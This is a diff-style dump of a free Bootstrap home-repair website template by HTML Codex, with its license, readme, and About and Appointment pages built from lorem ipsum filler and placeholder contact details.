Designed By <a href="https://htmlcodex.com">HTML Codex</a>
|
||||
<br />Distributed By:
|
||||
<a href="https://themewagon.com" target="_blank">ThemeWagon</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Footer End -->
|
||||
|
||||
<!-- Back to Top -->
|
||||
<a href="#" class="btn btn-lg btn-primary btn-lg-square back-to-top"
|
||||
><i class="bi bi-arrow-up"></i
|
||||
></a>
|
||||
|
||||
<!-- JavaScript Libraries -->
|
||||
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
|
||||
<script src="lib/wow/wow.min.js"></script>
|
||||
<script src="lib/easing/easing.min.js"></script>
|
||||
<script src="lib/waypoints/waypoints.min.js"></script>
|
||||
<script src="lib/owlcarousel/owl.carousel.min.js"></script>
|
||||
|
||||
<!-- Template Javascript -->
|
||||
<script src="js/main.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,38 @@
|
||||
|
||||
|
||||
=> FREE HTML TEMPLATE LICENSE BY HTML Codex
|
||||
|
||||
All free HTML templates by HTML Codex are licensed under a Creative Commons Attribution 4.0 International License which means you are not allowed to remove the author’s credit link/attribution link/backlink.
|
||||
|
||||
When you download or use our free HTML templates, it will attribute the following conditions.
|
||||
|
||||
|
||||
=> YOU ARE ALLOWED
|
||||
|
||||
1. You are allowed to use for your personal and commercial purposes.
|
||||
|
||||
2. You are allowed to modify/customize however you like.
|
||||
|
||||
3. You are allowed to convert/port for use for any CMS.
|
||||
|
||||
4. You are allowed to share/distribute under the HTML Codex brand name.
|
||||
|
||||
5. You are allowed to put a screenshot or a link on your blog posts or any other websites.
|
||||
|
||||
|
||||
=> YOU ARE NOT ALLOWED
|
||||
|
||||
1. You are not allowed to remove the author’s credit link/attribution link/backlink without purchasing Credit Removal License ( https://htmlcodex.com/credit-removal ).
|
||||
|
||||
2. You are not allowed to sell, resale, rent, lease, license, or sub-license.
|
||||
|
||||
3. You are not allowed to upload on your template websites or template collection websites or any other third party websites without our permission.
|
||||
|
||||
|
||||
=> If the template contains premium stock photos which are only for demo purposes and not distributed with the template. You need to purchase them separately from the corresponding stock photo website. You are responsible for adhering to the original license of them if necessary.
|
||||
|
||||
|
||||
=> This license can be terminated if you breach any of these conditions.
|
||||
|
||||
|
||||
=> PURCHASE CREDIT REMOVAL LICENSE ( https://htmlcodex.com/credit-removal )
|
||||
@@ -0,0 +1,9 @@
|
||||
=> Template Name : Apex - Home Repair Website Template
|
||||
|
||||
=> Template Link : https://htmlcodex.com/home-repair-website-template
|
||||
|
||||
=> Template License : https://htmlcodex.com/license (or read the LICENSE.txt file)
|
||||
|
||||
=> Template Author : HTML Codex
|
||||
|
||||
=> Author Website : https://htmlcodex.com
|
||||
@@ -0,0 +1,384 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>Apex - Home Repair Website Template</title>
|
||||
<meta content="width=device-width, initial-scale=1.0" name="viewport" />
|
||||
<meta content="" name="keywords" />
|
||||
<meta content="" name="description" />
|
||||
|
||||
<!-- Favicon -->
|
||||
<link href="img/favicon.ico" rel="icon" />
|
||||
|
||||
<!-- Google Web Fonts -->
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500&family=Poppins:wght@600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<!-- Icon Font Stylesheet -->
|
||||
<link
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link
|
||||
href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<!-- Libraries Stylesheet -->
|
||||
<link href="lib/animate/animate.min.css" rel="stylesheet" />
|
||||
<link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet" />
|
||||
|
||||
<!-- Customized Bootstrap Stylesheet -->
|
||||
<link href="css/bootstrap.min.css" rel="stylesheet" />
|
||||
|
||||
<!-- Template Stylesheet -->
|
||||
<link href="css/style.css" rel="stylesheet" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- Spinner Start -->
|
||||
<div
|
||||
id="spinner"
|
||||
class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-content-center"
|
||||
>
|
||||
<div class="spinner-grow text-primary" role="status"></div>
|
||||
</div>
|
||||
<!-- Spinner End -->
|
||||
|
||||
<!-- Topbar Start -->
|
||||
<div class="container-fluid bg-light p-0">
|
||||
<div class="row gx-0 d-none d-lg-flex">
|
||||
<div class="col-lg-7 px-5 text-start">
|
||||
<div
|
||||
class="h-100 d-inline-flex align-items-center border-start border-end px-3"
|
||||
>
|
||||
<small class="fa fa-phone-alt me-2"></small>
|
||||
<small>+012 345 6789</small>
|
||||
</div>
|
||||
<div class="h-100 d-inline-flex align-items-center border-end px-3">
|
||||
<small class="far fa-envelope-open me-2"></small>
|
||||
<small>info@example.com</small>
|
||||
</div>
|
||||
<div class="h-100 d-inline-flex align-items-center border-end px-3">
|
||||
<small class="far fa-clock me-2"></small>
|
||||
<small>Mon - Fri : 09 AM - 09 PM</small>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-5 px-5 text-end">
|
||||
<div class="h-100 d-inline-flex align-items-center">
|
||||
<a class="btn btn-square border-end border-start" href=""
|
||||
><i class="fab fa-facebook-f"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-twitter"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-linkedin-in"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-instagram"></i
|
||||
></a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Topbar End -->
|
||||
|
||||
<!-- Navbar Start -->
|
||||
<nav
|
||||
class="navbar navbar-expand-lg bg-white navbar-light sticky-top px-4 px-lg-5 py-lg-0"
|
||||
>
|
||||
<a href="index.html" class="navbar-brand d-flex align-items-center">
|
||||
<h1 class="m-0">
|
||||
<i class="fa fa-building text-primary me-3"></i>APEX
|
||||
</h1>
|
||||
</a>
|
||||
<button
|
||||
type="button"
|
||||
class="navbar-toggler"
|
||||
data-bs-toggle="collapse"
|
||||
data-bs-target="#navbarCollapse"
|
||||
>
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
</button>
|
||||
<div class="collapse navbar-collapse" id="navbarCollapse">
|
||||
<div class="navbar-nav ms-auto py-3 py-lg-0">
|
||||
<a href="index.html" class="nav-item nav-link">Home</a>
|
||||
<a href="about.html" class="nav-item nav-link active">About Us</a>
|
||||
<a href="service.html" class="nav-item nav-link">Our Services</a>
|
||||
<div class="nav-item dropdown">
|
||||
<a
|
||||
href="#"
|
||||
class="nav-link dropdown-toggle"
|
||||
data-bs-toggle="dropdown"
|
||||
>Pages</a
|
||||
>
|
||||
<div class="dropdown-menu bg-light m-0">
|
||||
<a href="feature.html" class="dropdown-item">Features</a>
|
||||
<a href="appointment.html" class="dropdown-item">Appointment</a>
|
||||
<a href="team.html" class="dropdown-item">Our Team</a>
|
||||
<a href="testimonial.html" class="dropdown-item">Testimonial</a>
|
||||
<a href="404.html" class="dropdown-item">404 Page</a>
|
||||
</div>
|
||||
</div>
|
||||
<a href="contact.html" class="nav-item nav-link">Contact Us</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
<!-- Navbar End -->
|
||||
|
||||
<!-- Page Header Start -->
|
||||
<div
|
||||
class="container-fluid page-header py-5 mb-5 wow fadeIn"
|
||||
data-wow-delay="0.1s"
|
||||
>
|
||||
<div class="container text-center py-5">
|
||||
<h1 class="display-4 text-white animated slideInDown mb-4">About Us</h1>
|
||||
<nav aria-label="breadcrumb animated slideInDown">
|
||||
<ol class="breadcrumb justify-content-center mb-0">
|
||||
<li class="breadcrumb-item">
|
||||
<a class="text-white" href="#">Home</a>
|
||||
</li>
|
||||
<li class="breadcrumb-item">
|
||||
<a class="text-white" href="#">Pages</a>
|
||||
</li>
|
||||
<li class="breadcrumb-item text-primary active" aria-current="page">
|
||||
About
|
||||
</li>
|
||||
</ol>
|
||||
</nav>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Page Header End -->
|
||||
|
||||
<!-- About Start -->
|
||||
<div class="container-xxl py-5">
|
||||
<div class="container">
|
||||
<div class="row g-5">
|
||||
<div class="col-lg-6 wow fadeInUp" data-wow-delay="0.1s">
|
||||
<div
|
||||
class="position-relative overflow-hidden ps-5 pt-5 h-100"
|
||||
style="min-height: 400px"
|
||||
>
|
||||
<img
|
||||
class="position-absolute w-100 h-100"
|
||||
src="img/about.jpg"
|
||||
alt=""
|
||||
style="object-fit: cover"
|
||||
/>
|
||||
<div
|
||||
class="position-absolute top-0 start-0 bg-white pe-3 pb-3"
|
||||
style="width: 200px; height: 200px"
|
||||
>
|
||||
<div
|
||||
class="d-flex flex-column justify-content-center text-center bg-primary h-100 p-3"
|
||||
>
|
||||
<h1 class="text-white">25</h1>
|
||||
<h2 class="text-white">Years</h2>
|
||||
<h5 class="text-white mb-0">Experience</h5>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-6 wow fadeInUp" data-wow-delay="0.5s">
|
||||
<div class="h-100">
|
||||
<div class="border-start border-5 border-primary ps-4 mb-5">
|
||||
<h6 class="text-body text-uppercase mb-2">About Us</h6>
|
||||
<h1 class="display-6 mb-0">
|
||||
Unique Solutions For Residentials & Industries!
|
||||
</h1>
|
||||
</div>
|
||||
<p>
|
||||
Tempor erat elitr rebum at clita. Diam dolor diam ipsum sit.
|
||||
Aliqu diam amet diam et eos. Clita erat ipsum et lorem et sit,
|
||||
sed stet lorem sit clita duo justo magna dolore erat amet
|
||||
</p>
|
||||
<p class="mb-4">
|
||||
Tempor erat elitr rebum at clita. Diam dolor diam ipsum sit.
|
||||
Aliqu diam amet diam et eos. Clita erat ipsum et lorem et sit,
|
||||
sed stet lorem sit clita duo justo magna dolore erat amet
|
||||
</p>
|
||||
<div class="border-top mt-4 pt-4">
|
||||
<div class="row g-4">
|
||||
<div class="col-sm-4 d-flex wow fadeIn" data-wow-delay="0.1s">
|
||||
<i
|
||||
class="fa fa-check fa-2x text-primary flex-shrink-0 me-3"
|
||||
></i>
|
||||
<h6 class="mb-0">Ontime at services</h6>
|
||||
</div>
|
||||
<div class="col-sm-4 d-flex wow fadeIn" data-wow-delay="0.3s">
|
||||
<i
|
||||
class="fa fa-check fa-2x text-primary flex-shrink-0 me-3"
|
||||
></i>
|
||||
<h6 class="mb-0">24/7 hours services</h6>
|
||||
</div>
|
||||
<div class="col-sm-4 d-flex wow fadeIn" data-wow-delay="0.5s">
|
||||
<i
|
||||
class="fa fa-check fa-2x text-primary flex-shrink-0 me-3"
|
||||
></i>
|
||||
<h6 class="mb-0">Verified professionals</h6>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- About End -->
|
||||
|
||||
<!-- Team Start -->
|
||||
<div class="container-xxl py-5">
|
||||
<div class="container">
|
||||
<div class="row g-5 align-items-end mb-5">
|
||||
<div class="col-lg-6 wow fadeInUp" data-wow-delay="0.1s">
|
||||
<div class="border-start border-5 border-primary ps-4">
|
||||
<h6 class="text-body text-uppercase mb-2">Our Team</h6>
|
||||
<h1 class="display-6 mb-0">Our Expert Worker</h1>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-6 wow fadeInUp" data-wow-delay="0.3s">
|
||||
<p class="mb-0">
|
||||
Tempor erat elitr rebum at clita. Diam dolor diam ipsum sit. Aliqu
|
||||
diam amet diam et eos. Clita erat ipsum et lorem et sit, sed stet
|
||||
lorem sit clita duo justo magna dolore erat amet
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row g-4">
|
||||
<div class="col-lg-4 col-md-6 wow fadeInUp" data-wow-delay="0.1s">
|
||||
<div class="team-item position-relative">
|
||||
<img class="img-fluid" src="img/team-1.jpg" alt="" />
|
||||
<div class="team-text bg-white p-4">
|
||||
<h5>Full Name</h5>
|
||||
<span>Engineer</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-4 col-md-6 wow fadeInUp" data-wow-delay="0.3s">
|
||||
<div class="team-item position-relative">
|
||||
<img class="img-fluid" src="img/team-2.jpg" alt="" />
|
||||
<div class="team-text bg-white p-4">
|
||||
<h5>Full Name</h5>
|
||||
<span>Engineer</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-4 col-md-6 wow fadeInUp" data-wow-delay="0.5s">
|
||||
<div class="team-item position-relative">
|
||||
<img class="img-fluid" src="img/team-3.jpg" alt="" />
|
||||
<div class="team-text bg-white p-4">
|
||||
<h5>Full Name</h5>
|
||||
<span>Engineer</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Team End -->
|
||||
|
||||
<!-- Footer Start -->
|
||||
<div
|
||||
class="container-fluid bg-dark footer mt-5 pt-5 wow fadeIn"
|
||||
data-wow-delay="0.1s"
|
||||
>
|
||||
<div class="container py-5">
|
||||
<div class="row g-5">
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h1 class="text-white mb-4">
|
||||
<i class="fa fa-building text-primary me-3"></i>APEX
|
||||
</h1>
|
||||
<p>
|
||||
Diam dolor diam ipsum sit. Aliqu diam amet diam et eos. Clita erat
|
||||
ipsum et lorem et sit, sed stet lorem sit clita
|
||||
</p>
|
||||
<div class="d-flex pt-2">
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-twitter"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-facebook-f"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-youtube"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-0" href=""
|
||||
><i class="fab fa-linkedin-in"></i
|
||||
></a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Address</h4>
|
||||
<p>
|
||||
<i class="fa fa-map-marker-alt me-3"></i>123 Street, New York, USA
|
||||
</p>
|
||||
<p><i class="fa fa-phone-alt me-3"></i>+012 345 67890</p>
|
||||
<p><i class="fa fa-envelope me-3"></i>info@example.com</p>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Quick Links</h4>
|
||||
<a class="btn btn-link" href="">About Us</a>
|
||||
<a class="btn btn-link" href="">Contact Us</a>
|
||||
<a class="btn btn-link" href="">Our Services</a>
|
||||
<a class="btn btn-link" href="">Terms & Condition</a>
|
||||
<a class="btn btn-link" href="">Support</a>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Newsletter</h4>
|
||||
<p>Dolor amet sit justo amet elitr clita ipsum elitr est.</p>
|
||||
<div class="position-relative mx-auto" style="max-width: 400px">
|
||||
<input
|
||||
class="form-control bg-transparent w-100 py-3 ps-4 pe-5"
|
||||
type="text"
|
||||
placeholder="Your email"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
class="btn btn-primary py-2 position-absolute top-0 end-0 mt-2 me-2"
|
||||
>
|
||||
SignUp
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container-fluid copyright">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-6 text-center text-md-start mb-3 mb-md-0">
|
||||
© <a href="#">Your Site Name</a>, All Right Reserved.
|
||||
</div>
|
||||
<div class="col-md-6 text-center text-md-end">
|
||||
<!--/*** This template is free as long as you keep the footer author’s credit link/attribution link/backlink. If you'd like to use the template without the footer author’s credit link/attribution link/backlink, you can purchase the Credit Removal License from "https://htmlcodex.com/credit-removal". Thank you for your support. ***/-->
|
||||
Designed By <a href="https://htmlcodex.com">HTML Codex</a>
|
||||
<br />Distributed By:
|
||||
<a href="https://themewagon.com" target="_blank">ThemeWagon</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Footer End -->
|
||||
|
||||
<!-- Back to Top -->
|
||||
<a href="#" class="btn btn-lg btn-primary btn-lg-square back-to-top"
|
||||
><i class="bi bi-arrow-up"></i
|
||||
></a>
|
||||
|
||||
<!-- JavaScript Libraries -->
|
||||
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
|
||||
<script src="lib/wow/wow.min.js"></script>
|
||||
<script src="lib/easing/easing.min.js"></script>
|
||||
<script src="lib/waypoints/waypoints.min.js"></script>
|
||||
<script src="lib/owlcarousel/owl.carousel.min.js"></script>
|
||||
|
||||
<!-- Template Javascript -->
|
||||
<script src="js/main.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,349 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>Apex - Home Repair Website Template</title>
|
||||
<meta content="width=device-width, initial-scale=1.0" name="viewport" />
|
||||
<meta content="" name="keywords" />
|
||||
<meta content="" name="description" />
|
||||
|
||||
<!-- Favicon -->
|
||||
<link href="img/favicon.ico" rel="icon" />
|
||||
|
||||
<!-- Google Web Fonts -->
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500&family=Poppins:wght@600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<!-- Icon Font Stylesheet -->
|
||||
<link
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link
|
||||
href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<!-- Libraries Stylesheet -->
|
||||
<link href="lib/animate/animate.min.css" rel="stylesheet" />
|
||||
<link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet" />
|
||||
|
||||
<!-- Customized Bootstrap Stylesheet -->
|
||||
<link href="css/bootstrap.min.css" rel="stylesheet" />
|
||||
|
||||
<!-- Template Stylesheet -->
|
||||
<link href="css/style.css" rel="stylesheet" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- Spinner Start -->
|
||||
<div
|
||||
id="spinner"
|
||||
class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-content-center"
|
||||
>
|
||||
<div class="spinner-grow text-primary" role="status"></div>
|
||||
</div>
|
||||
<!-- Spinner End -->
|
||||
|
||||
<!-- Topbar Start -->
|
||||
<div class="container-fluid bg-light p-0">
|
||||
<div class="row gx-0 d-none d-lg-flex">
|
||||
<div class="col-lg-7 px-5 text-start">
|
||||
<div
|
||||
class="h-100 d-inline-flex align-items-center border-start border-end px-3"
|
||||
>
|
||||
<small class="fa fa-phone-alt me-2"></small>
|
||||
<small>+012 345 6789</small>
|
||||
</div>
|
||||
<div class="h-100 d-inline-flex align-items-center border-end px-3">
|
||||
<small class="far fa-envelope-open me-2"></small>
|
||||
<small>info@example.com</small>
|
||||
</div>
|
||||
<div class="h-100 d-inline-flex align-items-center border-end px-3">
|
||||
<small class="far fa-clock me-2"></small>
|
||||
<small>Mon - Fri : 09 AM - 09 PM</small>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-5 px-5 text-end">
|
||||
<div class="h-100 d-inline-flex align-items-center">
|
||||
<a class="btn btn-square border-end border-start" href=""
|
||||
><i class="fab fa-facebook-f"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-twitter"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-linkedin-in"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-instagram"></i
|
||||
></a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Topbar End -->
|
||||
|
||||
<!-- Navbar Start -->
|
||||
<nav
|
||||
class="navbar navbar-expand-lg bg-white navbar-light sticky-top px-4 px-lg-5 py-lg-0"
|
||||
>
|
||||
<a href="index.html" class="navbar-brand d-flex align-items-center">
|
||||
<h1 class="m-0">
|
||||
<i class="fa fa-building text-primary me-3"></i>APEX
|
||||
</h1>
|
||||
</a>
|
||||
<button
|
||||
type="button"
|
||||
class="navbar-toggler"
|
||||
data-bs-toggle="collapse"
|
||||
data-bs-target="#navbarCollapse"
|
||||
>
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
</button>
|
||||
<div class="collapse navbar-collapse" id="navbarCollapse">
|
||||
<div class="navbar-nav ms-auto py-3 py-lg-0">
|
||||
<a href="index.html" class="nav-item nav-link">Home</a>
|
||||
<a href="about.html" class="nav-item nav-link">About Us</a>
|
||||
<a href="service.html" class="nav-item nav-link">Our Services</a>
|
||||
<div class="nav-item dropdown">
|
||||
<a
|
||||
href="#"
|
||||
class="nav-link dropdown-toggle active"
|
||||
data-bs-toggle="dropdown"
|
||||
>Pages</a
|
||||
>
|
||||
<div class="dropdown-menu bg-light m-0">
|
||||
<a href="feature.html" class="dropdown-item">Features</a>
|
||||
<a href="appointment.html" class="dropdown-item active"
|
||||
>Appointment</a
|
||||
>
|
||||
<a href="team.html" class="dropdown-item">Our Team</a>
|
||||
<a href="testimonial.html" class="dropdown-item">Testimonial</a>
|
||||
<a href="404.html" class="dropdown-item">404 Page</a>
|
||||
</div>
|
||||
</div>
|
||||
<a href="contact.html" class="nav-item nav-link">Contact Us</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
<!-- Navbar End -->
|
||||
|
||||
<!-- Page Header Start -->
|
||||
<div
|
||||
class="container-fluid page-header py-5 mb-5 wow fadeIn"
|
||||
data-wow-delay="0.1s"
|
||||
>
|
||||
<div class="container text-center py-5">
|
||||
<h1 class="display-4 text-white animated slideInDown mb-4">
|
||||
Appointment
|
||||
</h1>
|
||||
<nav aria-label="breadcrumb animated slideInDown">
|
||||
<ol class="breadcrumb justify-content-center mb-0">
|
||||
<li class="breadcrumb-item">
|
||||
<a class="text-white" href="#">Home</a>
|
||||
</li>
|
||||
<li class="breadcrumb-item">
|
||||
<a class="text-white" href="#">Pages</a>
|
||||
</li>
|
||||
<li class="breadcrumb-item text-primary active" aria-current="page">
|
||||
Appointment
|
||||
</li>
|
||||
</ol>
|
||||
</nav>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Page Header End -->
|
||||
|
||||
<!-- Appointment Start -->
|
||||
<div class="container-xxl py-5">
|
||||
<div class="container">
|
||||
<div class="row g-5">
|
||||
<div class="col-lg-5 col-md-6 wow fadeInUp" data-wow-delay="0.1s">
|
||||
<div class="border-start border-5 border-primary ps-4 mb-5">
|
||||
<h6 class="text-body text-uppercase mb-2">Appointment</h6>
|
||||
<h1 class="display-6 mb-0">
|
||||
A Company Involved In Service And Maintenance
|
||||
</h1>
|
||||
</div>
|
||||
<p class="mb-0">
|
||||
Tempor erat elitr rebum at clita. Diam dolor diam ipsum sit. Aliqu
|
||||
diam amet diam et eos. Clita erat ipsum et lorem et sit, sed stet
|
||||
lorem sit clita duo justo magna dolore erat amet
|
||||
</p>
|
||||
</div>
|
||||
<div class="col-lg-7 col-md-6 wow fadeInUp" data-wow-delay="0.5s">
|
||||
<form>
|
||||
<div class="row g-3">
|
||||
<div class="col-sm-6">
|
||||
<div class="form-floating">
|
||||
<input
|
||||
type="text"
|
||||
class="form-control bg-light border-0"
|
||||
id="gname"
|
||||
placeholder="Gurdian Name"
|
||||
/>
|
||||
<label for="gname">Your Name</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-sm-6">
|
||||
<div class="form-floating">
|
||||
<input
|
||||
type="email"
|
||||
class="form-control bg-light border-0"
|
||||
id="gmail"
|
||||
placeholder="Gurdian Email"
|
||||
/>
|
||||
<label for="gmail">Your Email</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-sm-6">
|
||||
<div class="form-floating">
|
||||
<input
|
||||
type="text"
|
||||
class="form-control bg-light border-0"
|
||||
id="cname"
|
||||
placeholder="Child Name"
|
||||
/>
|
||||
<label for="cname">Your Mobile</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-sm-6">
|
||||
<div class="form-floating">
|
||||
<input
|
||||
type="text"
|
||||
class="form-control bg-light border-0"
|
||||
id="cage"
|
||||
placeholder="Child Age"
|
||||
/>
|
||||
<label for="cage">Service Type</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-12">
|
||||
<div class="form-floating">
|
||||
<textarea
|
||||
class="form-control bg-light border-0"
|
||||
placeholder="Leave a message here"
|
||||
id="message"
|
||||
style="height: 100px"
|
||||
></textarea>
|
||||
<label for="message">Message</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-12">
|
||||
<button class="btn btn-primary w-100 py-3" type="submit">
|
||||
Get Appointment
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Appointment End -->
|
||||
|
||||
<!-- Footer Start -->
|
||||
<div
|
||||
class="container-fluid bg-dark footer mt-5 pt-5 wow fadeIn"
|
||||
data-wow-delay="0.1s"
|
||||
>
|
||||
<div class="container py-5">
|
||||
<div class="row g-5">
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h1 class="text-white mb-4">
|
||||
<i class="fa fa-building text-primary me-3"></i>APEX
|
||||
</h1>
|
||||
<p>
|
||||
Diam dolor diam ipsum sit. Aliqu diam amet diam et eos. Clita erat
|
||||
ipsum et lorem et sit, sed stet lorem sit clita
|
||||
</p>
|
||||
<div class="d-flex pt-2">
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-twitter"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-facebook-f"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-youtube"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-0" href=""
|
||||
><i class="fab fa-linkedin-in"></i
|
||||
></a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Address</h4>
|
||||
<p>
|
||||
<i class="fa fa-map-marker-alt me-3"></i>123 Street, New York, USA
|
||||
</p>
|
||||
<p><i class="fa fa-phone-alt me-3"></i>+012 345 67890</p>
|
||||
<p><i class="fa fa-envelope me-3"></i>info@example.com</p>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Quick Links</h4>
|
||||
<a class="btn btn-link" href="">About Us</a>
|
||||
<a class="btn btn-link" href="">Contact Us</a>
|
||||
<a class="btn btn-link" href="">Our Services</a>
|
||||
<a class="btn btn-link" href="">Terms & Condition</a>
|
||||
<a class="btn btn-link" href="">Support</a>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Newsletter</h4>
|
||||
<p>Dolor amet sit justo amet elitr clita ipsum elitr est.</p>
|
||||
<div class="position-relative mx-auto" style="max-width: 400px">
|
||||
<input
|
||||
class="form-control bg-transparent w-100 py-3 ps-4 pe-5"
|
||||
type="text"
|
||||
placeholder="Your email"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
class="btn btn-primary py-2 position-absolute top-0 end-0 mt-2 me-2"
|
||||
>
|
||||
SignUp
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container-fluid copyright">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-6 text-center text-md-start mb-3 mb-md-0">
|
||||
© <a href="#">Your Site Name</a>, All Right Reserved.
|
||||
</div>
|
||||
<div class="col-md-6 text-center text-md-end">
|
||||
<!--/*** This template is free as long as you keep the footer author’s credit link/attribution link/backlink. If you'd like to use the template without the footer author’s credit link/attribution link/backlink, you can purchase the Credit Removal License from "https://htmlcodex.com/credit-removal". Thank you for your support. ***/-->
|
||||
Designed By <a href="https://htmlcodex.com">HTML Codex</a>
|
||||
<br />Distributed By:
|
||||
<a href="https://themewagon.com" target="_blank">ThemeWagon</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Footer End -->
|
||||
|
||||
<!-- Back to Top -->
|
||||
<a href="#" class="btn btn-lg btn-primary btn-lg-square back-to-top"
|
||||
><i class="bi bi-arrow-up"></i
|
||||
></a>
|
||||
|
